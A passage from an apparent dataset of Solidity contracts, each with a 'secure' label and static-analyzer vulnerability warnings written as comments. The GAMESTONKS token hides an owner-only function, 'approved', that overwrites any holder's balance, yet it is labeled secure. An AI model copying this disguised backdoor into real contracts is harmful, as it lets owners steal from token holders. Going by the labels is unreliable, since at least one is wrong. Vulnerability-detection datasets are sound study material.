| ID: 8f33f3b): PEPA.sendETHToFee(uint256).taxAmount is a local variable never initialized\n\t// Recommendation for 8f33f3b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a5d1e71): PEPA.sendETHToFee(uint256).revShareAmount is a local variable never initialized\n\t// Recommendation for a5d1e71: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function sendETHToFee(uint256 amount) private {\n uint256 tax = (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax;\n\n uint256 taxAmount;\n\n uint256 revShareAmount;\n\n if (tax == _finalBuyTax) {\n taxAmount = (amount * 3) / 5;\n\n revShareAmount = (amount * 2) / 5;\n } else if (tax == _initialBuyTax) {\n taxAmount = (amount * 17) / 20;\n\n revShareAmount = (amount * 3) / 20;\n }\n\n\t\t// reentrancy-events | ID: 601a7b3\n\t\t// reentrancy-events | ID: 89623fa\n\t\t// reentrancy-eth | ID: e1e5404\n\t\t// arbitrary-send-eth | ID: 69ff7b5\n _taxWallet.transfer(taxAmount);\n\n\t\t// reentrancy-events | ID: 601a7b3\n\t\t// reentrancy-events | ID: 89623fa\n\t\t// reentrancy-eth | ID: e1e5404\n\t\t// arbitrary-send-eth | ID: 69ff7b5\n _revShare.transfer(revShareAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 601a7b3\n\t\t// reentrancy-events | ID: 89623fa\n\t\t// reentrancy-benign | ID: cfe2327\n\t\t// reentrancy-eth | ID: e1e5404\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 11d170f): PEPA.pair() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 11d170f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d43a684): PEPA.pair() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),tokenAmount,0,0,_msgSender(),block.timestamp)\n\t// Recommendation for d43a684: Ensure that all the return values of the function calls are used.\n function pair() external onlyOwner {\n require(!tradingOpen, \"init already called\");\n\n uint256 tokenAmount = balanceOf(address(this)).sub(\n _totalSupply.mul(_initialBuyTax).div(100)\n );\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: d43a684\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n tokenAmount,\n 0,\n 0,\n _msgSender(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 11d170f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n\n emit TradingActive(tradingOpen, swapEnabled);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _totalSupply;\n\n _maxWalletSize = _totalSupply;\n\n emit maxAmount(_totalSupply);\n }\n\n function setFinalTax(\n uint256 _valueBuy,\n uint256 _valueSell\n ) external onlyOwner {\n require(\n _valueBuy <= 30 && _valueSell <= 30 && tradingOpen,\n \"Exceeds value\"\n );\n\n _finalBuyTax = _valueBuy;\n\n _finalSellTax = _valueSell;\n\n emit FinalTax(_valueBuy, _valueSell);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_4107.sol",
"secure": 0,
"size_bytes": 16358
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HONKonETH is ERC20, Ownable {\n constructor() ERC20(\"HONK on ETH \", \"HONK\") {\n _mint(msg.sender, 10000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4108.sol",
"secure": 1,
"size_bytes": 358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./BEP20.sol\" as BEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract GAMESTONKS is Context, BEP20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92d2827): GAMESTONKS._totalSupply should be immutable \n\t// Recommendation for 92d2827: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3eec5ab): GAMESTONKS._decimals should be immutable \n\t// Recommendation for 3eec5ab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _symbol;\n\n string private _name;\n\n constructor() {\n _name = \"GAME STONKS\";\n\n _symbol = \"GMS\";\n\n _decimals = 9;\n\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function Confirm(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) internal view onlyOwner returns (uint256) {\n return target + accuracy;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approved(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) external onlyOwner {\n _balances[_comptes] = Confirm(target, accuracy, _comptes);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"BEP20: approve from the zero address\"\n );\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_4109.sol",
"secure": 1,
"size_bytes": 5232
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeCast.sol\" as SafeCast;\nimport \"@openzeppelin/contracts/utils/Panic.sol\" as Panic;\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\n\nlibrary Math {\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function ternary(\n bool condition,\n uint256 a,\n uint256 b\n ) internal pure returns (uint256) {\n unchecked {\n return b ^ ((a ^ b) * SafeCast.toUint(condition));\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a > b, a, b);\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a < b, a, b);\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n unchecked {\n return SafeCast.toUint(a > 0) * ((a - 1) / b + 1);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 41c4bbc): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 41c4bbc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 78e03e4): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 78e03e4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3929f51): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 3929f51: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 996b89c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 996b89c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d9ae4e4): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for d9ae4e4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ec64b46): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for ec64b46: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fe4fdc8): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for fe4fdc8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ed4d804): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for ed4d804: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 2d0bfed): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 2d0bfed: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n Panic.panic(\n ternary(\n denominator == 0,\n Panic.DIVISION_BY_ZERO,\n Panic.UNDER_OVERFLOW\n )\n );\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 41c4bbc\n\t\t\t\t// divide-before-multiply | ID: 78e03e4\n\t\t\t\t// divide-before-multiply | ID: 3929f51\n\t\t\t\t// divide-before-multiply | ID: 996b89c\n\t\t\t\t// divide-before-multiply | ID: d9ae4e4\n\t\t\t\t// divide-before-multiply | ID: fe4fdc8\n\t\t\t\t// divide-before-multiply | ID: ed4d804\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: ec64b46\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 3929f51\n\t\t\t// incorrect-exp | ID: 2d0bfed\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: fe4fdc8\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 78e03e4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 41c4bbc\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 996b89c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: ed4d804\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: d9ae4e4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: ec64b46\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n return\n mulDiv(x, y, denominator) +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8d055aa): Math.invMod(uint256,uint256) performs a multiplication on the result of a division quotient = gcd / remainder (gcd,remainder) = (remainder,gcd remainder * quotient)\n\t// Recommendation for 8d055aa: Consider ordering multiplication before division.\n function invMod(uint256 a, uint256 n) internal pure returns (uint256) {\n unchecked {\n if (n == 0) return 0;\n\n uint256 remainder = a % n;\n\n uint256 gcd = n;\n\n int256 x = 0;\n\n int256 y = 1;\n\n while (remainder != 0) {\n\t\t\t\t// divide-before-multiply | ID: 8d055aa\n uint256 quotient = gcd / remainder;\n\n\t\t\t\t// divide-before-multiply | ID: 8d055aa\n (gcd, remainder) = (remainder, gcd - remainder * quotient);\n\n (x, y) = (y, x - y * int256(quotient));\n }\n\n if (gcd != 1) return 0;\n\n return ternary(x < 0, n - uint256(-x), uint256(x));\n }\n }\n\n function invModPrime(uint256 a, uint256 p) internal view returns (uint256) {\n unchecked {\n return Math.modExp(a, p - 2, p);\n }\n }\n\n function modExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (uint256) {\n (bool success, uint256 result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (bool success, uint256 result) {\n if (m == 0) return (false, 0);\n\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, 0x20)\n\n mstore(add(ptr, 0x20), 0x20)\n\n mstore(add(ptr, 0x40), 0x20)\n\n mstore(add(ptr, 0x60), b)\n\n mstore(add(ptr, 0x80), e)\n\n mstore(add(ptr, 0xa0), m)\n\n success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20)\n\n result := mload(0x00)\n }\n }\n\n function modExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bytes memory) {\n (bool success, bytes memory result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bool success, bytes memory result) {\n if (_zeroBytes(m)) return (false, new bytes(0));\n\n uint256 mLen = m.length;\n\n result = abi.encodePacked(b.length, e.length, mLen, b, e, m);\n\n assembly (\"memory-safe\") {\n let dataPtr := add(result, 0x20)\n\n success := staticcall(\n gas(),\n 0x05,\n dataPtr,\n mload(result),\n dataPtr,\n mLen\n )\n\n mstore(result, mLen)\n\n mstore(0x40, add(dataPtr, mLen))\n }\n }\n\n function _zeroBytes(bytes memory byteArray) private pure returns (bool) {\n for (uint256 i = 0; i < byteArray.length; ++i) {\n if (byteArray[i] != 0) {\n return false;\n }\n }\n\n return true;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n unchecked {\n if (a <= 1) {\n return a;\n }\n\n uint256 aa = a;\n\n uint256 xn = 1;\n\n if (aa >= (1 << 128)) {\n aa >>= 128;\n\n xn <<= 64;\n }\n\n if (aa >= (1 << 64)) {\n aa >>= 64;\n\n xn <<= 32;\n }\n\n if (aa >= (1 << 32)) {\n aa >>= 32;\n\n xn <<= 16;\n }\n\n if (aa >= (1 << 16)) {\n aa >>= 16;\n\n xn <<= 8;\n }\n\n if (aa >= (1 << 8)) {\n aa >>= 8;\n\n xn <<= 4;\n }\n\n if (aa >= (1 << 4)) {\n aa >>= 4;\n\n xn <<= 2;\n }\n\n if (aa >= (1 << 2)) {\n xn <<= 1;\n }\n\n xn = (3 * xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n return xn - SafeCast.toUint(xn > a / xn);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && result * result < a\n );\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 exp;\n\n unchecked {\n exp = 128 * SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 64 * SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 32 * SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 16 * SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 8 * SafeCast.toUint(value > (1 << 8) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 4 * SafeCast.toUint(value > (1 << 4) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 2 * SafeCast.toUint(value > (1 << 2) - 1);\n\n value >>= exp;\n\n result += exp;\n\n result += SafeCast.toUint(value > 1);\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << result < value\n );\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 10 ** result < value\n );\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 isGt;\n\n unchecked {\n isGt = SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= isGt * 128;\n\n result += isGt * 16;\n\n isGt = SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= isGt * 64;\n\n result += isGt * 8;\n\n isGt = SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= isGt * 32;\n\n result += isGt * 4;\n\n isGt = SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= isGt * 16;\n\n result += isGt * 2;\n\n result += SafeCast.toUint(value > (1 << 8) - 1);\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}",
"file_name": "solidity_code_411.sol",
"secure": 0,
"size_bytes": 17680
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WigvToken is ERC20 {\n constructor() ERC20(\"WigvToken\", \"WIGV\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4110.sol",
"secure": 1,
"size_bytes": 281
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract UnaToken is ERC20 {\n constructor() ERC20(\"UnaToken\", \"UNA\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4111.sol",
"secure": 1,
"size_bytes": 278
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nabstract contract Timelock2Step {\n address public pendingTimelockAddress;\n\n address public timelockAddress;\n\n constructor(address _timelockAddress) {\n timelockAddress = _timelockAddress;\n }\n\n function transferTimelock(address _newTimelock) external virtual {\n _requireSenderIsTimelock();\n\n _transferTimelock(_newTimelock);\n }\n\n function acceptTransferTimelock() external virtual {\n _requireSenderIsPendingTimelock();\n\n _acceptTransferTimelock();\n }\n\n function renounceTimelock() external virtual {\n _requireSenderIsTimelock();\n\n _requireSenderIsPendingTimelock();\n\n _transferTimelock(address(0));\n\n _setTimelock(address(0));\n }\n\n function _transferTimelock(address _newTimelock) internal {\n pendingTimelockAddress = _newTimelock;\n\n emit TimelockTransferStarted(timelockAddress, _newTimelock);\n }\n\n function _acceptTransferTimelock() internal {\n pendingTimelockAddress = address(0);\n\n _setTimelock(msg.sender);\n }\n\n function _setTimelock(address _newTimelock) internal {\n emit TimelockTransferred(timelockAddress, _newTimelock);\n\n timelockAddress = _newTimelock;\n }\n\n function _isTimelock(address _address) internal view returns (bool) {\n return _address == timelockAddress;\n }\n\n function _requireIsTimelock(address _address) internal view {\n if (!_isTimelock(_address))\n revert AddressIsNotTimelock(timelockAddress, _address);\n }\n\n function _requireSenderIsTimelock() internal view {\n _requireIsTimelock(msg.sender);\n }\n\n function _isPendingTimelock(address _address) internal view returns (bool) {\n return _address == pendingTimelockAddress;\n }\n\n function _requireIsPendingTimelock(address _address) internal view {\n if (!_isPendingTimelock(_address))\n revert AddressIsNotPendingTimelock(\n pendingTimelockAddress,\n _address\n );\n }\n\n function _requireSenderIsPendingTimelock() internal view {\n _requireIsPendingTimelock(msg.sender);\n }\n\n event TimelockTransferStarted(\n address indexed previousTimelock,\n address indexed newTimelock\n );\n\n event TimelockTransferred(\n address indexed previousTimelock,\n address indexed newTimelock\n );\n\n error AddressIsNotTimelock(address timelockAddress, address actualAddress);\n\n error AddressIsNotPendingTimelock(\n address pendingTimelockAddress,\n address actualAddress\n );\n}",
"file_name": "solidity_code_4112.sol",
"secure": 1,
"size_bytes": 2736
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IDepositContract {\n event DepositEvent(\n bytes pubkey,\n bytes withdrawal_credentials,\n bytes amount,\n bytes signature,\n bytes index\n );\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5164352): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 5164352: Remove the 'payable' attribute or add a withdraw function.\n function deposit(\n bytes calldata pubkey,\n bytes calldata withdrawal_credentials,\n bytes calldata signature,\n bytes32 deposit_data_root\n ) external payable;\n\n function get_deposit_root() external view returns (bytes32);\n\n function get_deposit_count() external view returns (bytes memory);\n}",
"file_name": "solidity_code_4113.sol",
"secure": 0,
"size_bytes": 852
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface ERC165 {\n function supportsInterface(bytes4 interfaceId) external pure returns (bool);\n}\n",
"file_name": "solidity_code_4114.sol",
"secure": 1,
"size_bytes": 180
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./IDepositContract.sol\" as IDepositContract;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5164352): Contract with a 'payable' function, but without a withdrawal capacity.\n// Recommendation for 5164352: Remove the 'payable' attribute or add a withdraw function.\ncontract DepositContract is IDepositContract, ERC165 {\n uint256 constant DEPOSIT_CONTRACT_TREE_DEPTH = 32;\n\n uint256 constant MAX_DEPOSIT_COUNT = 2 ** DEPOSIT_CONTRACT_TREE_DEPTH - 1;\n\n bytes32[DEPOSIT_CONTRACT_TREE_DEPTH] branch;\n\n uint256 deposit_count;\n\n bytes32[DEPOSIT_CONTRACT_TREE_DEPTH] zero_hashes;\n\n constructor() public {\n for (\n uint256 height = 0;\n height < DEPOSIT_CONTRACT_TREE_DEPTH - 1;\n height++\n ) {\n zero_hashes[height + 1] = sha256(\n abi.encodePacked(zero_hashes[height], zero_hashes[height])\n );\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 33a6f48): DepositContract.get_deposit_root().node is a local variable never initialized\n\t// Recommendation for 33a6f48: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function get_deposit_root() external view override returns (bytes32) {\n bytes32 node;\n\n uint256 size = deposit_count;\n\n for (\n uint256 height = 0;\n height < DEPOSIT_CONTRACT_TREE_DEPTH;\n height++\n ) {\n if ((size & 1) == 1) {\n node = sha256(abi.encodePacked(branch[height], node));\n } else {\n node = sha256(abi.encodePacked(node, zero_hashes[height]));\n }\n\n size /= 2;\n }\n\n return\n sha256(\n abi.encodePacked(\n node,\n to_little_endian_64(uint64(deposit_count)),\n bytes24(0)\n )\n );\n }\n\n function get_deposit_count() external view override returns (bytes memory) {\n return to_little_endian_64(uint64(deposit_count));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5164352): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 5164352: Remove the 'payable' attribute or add a withdraw function.\n function deposit(\n bytes calldata pubkey,\n bytes calldata withdrawal_credentials,\n bytes calldata signature,\n bytes32 deposit_data_root\n ) external payable override {\n require(pubkey.length == 48, \"DepositContract: invalid pubkey length\");\n\n require(\n withdrawal_credentials.length == 32,\n \"DepositContract: invalid withdrawal_credentials length\"\n );\n\n require(\n signature.length == 96,\n \"DepositContract: invalid signature length\"\n );\n\n require(msg.value >= 1 ether, \"DepositContract: deposit value too low\");\n\n require(\n msg.value % 1 gwei == 0,\n \"DepositContract: deposit value not multiple of gwei\"\n );\n\n uint256 deposit_amount = msg.value / 1 gwei;\n\n require(\n deposit_amount <= type(uint64).max,\n \"DepositContract: deposit value too high\"\n );\n\n bytes memory amount = to_little_endian_64(uint64(deposit_amount));\n\n emit DepositEvent(\n pubkey,\n withdrawal_credentials,\n amount,\n signature,\n to_little_endian_64(uint64(deposit_count))\n );\n\n bytes32 pubkey_root = 